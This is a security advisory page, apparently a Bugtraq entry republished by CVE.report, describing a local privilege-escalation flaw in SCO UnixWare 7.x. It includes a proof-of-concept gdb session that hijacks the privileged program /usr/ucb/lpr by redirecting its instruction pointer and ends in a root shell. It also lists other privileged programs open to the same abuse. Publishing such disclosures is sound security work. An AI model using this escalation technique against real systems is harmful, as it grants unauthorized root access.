SCO Unixware Privileged Program Debugging Vulnerability

BID:869

Info

SCO Unixware Privileged Program Debugging Vulnerability

Bugtraq ID: 869
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Dec 10 1999 12:00AM
Updated: Dec 10 1999 12:00AM
Credit: This vulnerability was discovered by Brock Tellier <[email protected]>.
Vulnerable: SCO Unixware 7.1.1
SCO Unixware 7.1
SCO Unixware 7.0.1
SCO Unixware 7.0
Not Vulnerable:

Discussion

SCO Unixware Privileged Program Debugging Vulnerability

Unixware's security model includes the concept of privileges. These can be assigned to processes and allow them to perform tasks that otherwise could only be performed by the root user. They allow programs to run with the minimum required privilege (as opposed to running as root). A vulnerability in Unixware's implementation of privileges allows regular users to attach a debugger to a running privileged program and take over its privileges.

Most Unix systems, including Uniware, place a number of restriction on how can regular users interact with setuid and setgid processes. For example they are not allowed to attach a debugger to them and the dynamic linker may ignore variables requesting the preloading of some shared libraries. Unixware's implementation of privileges provides no such protections for privileged programs allowing a user to attach a debugger to a running privileged program which has his same user uid and modifying it.

When a program that is listed in the /etc/security/tcb/privs is executed it is granted the privileges listed there. All a malicious has to do to exploit the problem is find a program listed in that file with the privileges it wishes to gain and executable by him. Example of programs executable by anyone with privileges include: /usr/ucb/w (DACREAD), /usr/bin/getdev (DACWRITE), and /usr/ucb/lpr (SETUID).

Exploit / POC

SCO Unixware Privileged Program Debugging Vulnerability

Example exploit usage:

bash-2.02$ ./truck 3

UnixWare 7.1 security model exploit
Brock Tellier [email protected]

$ ./gdb /usr/ucb/lpr
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
no debugging symbols found)...
gdb) break _init
Breakpoint 1 at 0x805036c
gdb) run
Starting program: /usr/ucb/lpr

Program received signal SIGTRAP, Trace/breakpoint trap.
Switching to process 3302]
warning: shared library handler failed to enable breakpoint

Breakpoint 1, 0x805036c in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x805036c <_init>: ret

End of assembler dump.
(gdb) set $eip 0x8046b75
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
t might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
gdb) continue
Continuing.
# id
uid=3D0(root) gid=3D1(other)
groups=3D0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),
7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
#

Solution / Fix

SCO Unixware Privileged Program Debugging Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

SCO Unixware Privileged Program Debugging Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report